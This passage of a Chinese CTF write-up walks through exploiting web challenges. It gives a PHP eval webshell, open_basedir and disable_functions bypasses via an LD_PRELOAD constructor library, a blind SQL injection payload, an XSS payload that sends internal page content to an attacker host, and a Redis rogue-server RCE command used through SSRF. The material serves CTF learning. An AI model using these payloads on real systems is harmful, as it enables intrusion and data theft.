成功获得,于是直接扔一个shell上去
file_put_contents('/var/www/html/xxx.php','<?php eval($_GET[\'cmd\']);?>');

接着用system()去读一下根目录

被禁用,于是去查查看phpinfo()

system等一系列系统函数都被禁用了,于是用scandir()

在扫上级目录时返回了提示open_basedir,再去看phpinfo()

设置了open_basedir,于是又要绕一波,不过由于ini_set()也被禁用了,要寻找其它绕过方式,这里整合了很多绕过的技巧

浅谈几种Bypass open_basedir的方法

这里用DirectoryIterator+glob://的方法扫一下根目录
cmd=$c = $_GET['c'];$a = new DirectoryIterator($c);foreach($a as $f){echo($f->__toString().'<br>');}&c=glob:///*

可以看到有readflag,但DirectoryIterator+glob://并不能执行命令,这里可以使用LD_PRELOAD + error_log()来绕(SUCTF说过的fpm好像也行,不过不知道题目环境有没有开就没弄了)

具体原理看这Bypass Disable_function

简单来说就是LD_PRELOAD可以设置预加载的共享库文件,当设置了后这个共享库文件的优先级甚至会大于libc.so,当共享库文件中有和libc.so一样的函数名的函数时,优先使用共享库文件中的函数
通过这种方式直接去修改底层的函数,控制某个php方法的执行,这样就可以不使用system()之类的方法也能达到命令执行。不过要预加载共享库文件,需要新开一个进程加载,这里原文的作者找到了mail()以及error_log()能够开启新进程

这里用构造器来写就可以不用去改已有的内置函数防止出错

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void flag(){
unsetenv("LD_PRELOAD");
system("/readflag > /var/www/html/flag.txt");
}

gcc -shared flag.c -o flag.so
生成共享库文件后用菜刀上传

最后执行一下
?cmd=putenv("LD_PRELOAD=/var/www/html/flag.so");error_log("",1,"","");

然而buu上的readflag需要计算

于是使用一些其它操作,先检查一下服务器上有没有perl
perl -v > /var/www/html/i.txt

有安装perl,看这个readflag的输出感觉和*ctf有一题应该时一样的,于是拿当时的官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
or die "open3() failed $!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

然后执行输出
perl /var/www/html/a.pl > /var/www/html/b.html
再访问一下

这里记得要用html或者其它能显示的,一开始用了txt什么都显示不出来,查了别人的wp后才发现txt要下载才能看到,之前的就已经打出来了,真的傻了

还有那个盲注的部分,实际上还能用这个payload进行布尔盲注
1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>200) ^ '1
这个payload正确的情况下是会所有文章都改成一样,可以通过这个逻辑去判断。实际上我的那个payload当错误时也会全改,不过判断时间简单点,虽然有点久

icloudmusic

这题唯一解的W&M战队的大佬说是漏洞危害不公开wp,也没有环境分析,就先放着吧(好像是SUCTF那道改的题)

DOT_server_prove

这题也没有靶机,看wp记录几点疑问以及自己的见解

首先是parse文件,放入IDA分析后

大佬通过函数名就判断出了这是go的二进制文件,这个真的学不会,以后能弄到go的二进制文件再来比对看看【整完hgame那题后也许这种映引入大量库的大概率是go?

然后是dot server,见这篇
如何开发打点统计系统
就是通过nginx日志(或者通过其它方式)获得入站信息并统计

接着是这条命令对nginx日志的处理
cat /tmp/test.txt | awk -F ' "' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt
读取/tmp/test.txt中的信息,然后以"将每行分隔为多列,并取最后一列的数据写入/tmp/data.txt,最后清空/tmp/test.txt

而nginx日志是(access.log)

1
2
10.1.1.1 - - 
[09/Feb/2019:22:41:28 +0800] "GET /index.html HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"

处理之后应该是

1
2
10.1.1.1 - - 
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"

剩余访问时间和UA

由于可以通过查看题目的源码发现

1
2
3
4
5
var ajax = new XMLHttpRequest();
ajax.open('get','http://dot.whizard.com/123');
ajax.send();
ajax.onreadystatechange = function () {
}

于是使用这个url的UA进行XSS,通过回弹的消息的RFF得到来自8080端口

fetch('http://127.0.0.1:8080').then(r=>r.text()).then(d=>{fetch('http://IP:9999/'+btoa(d))})

访问打页面源码,提示的robots.txt中提示了curl.php,能够进行SSRF。扫描发现6379端口开着

这里需要利用Redis的RCE漏洞
Redis(<=5.0.5) RCE
这样执行
python3 redis-rogue-server.py --rhost=target_ip --lhost=vps_ip --exp=exp.so

不过由于要通过XSS打,所以要抓流量,然后再通过XSS打过去。一共三段流量,第一二段之间需要停顿3秒左右保证文件同步完成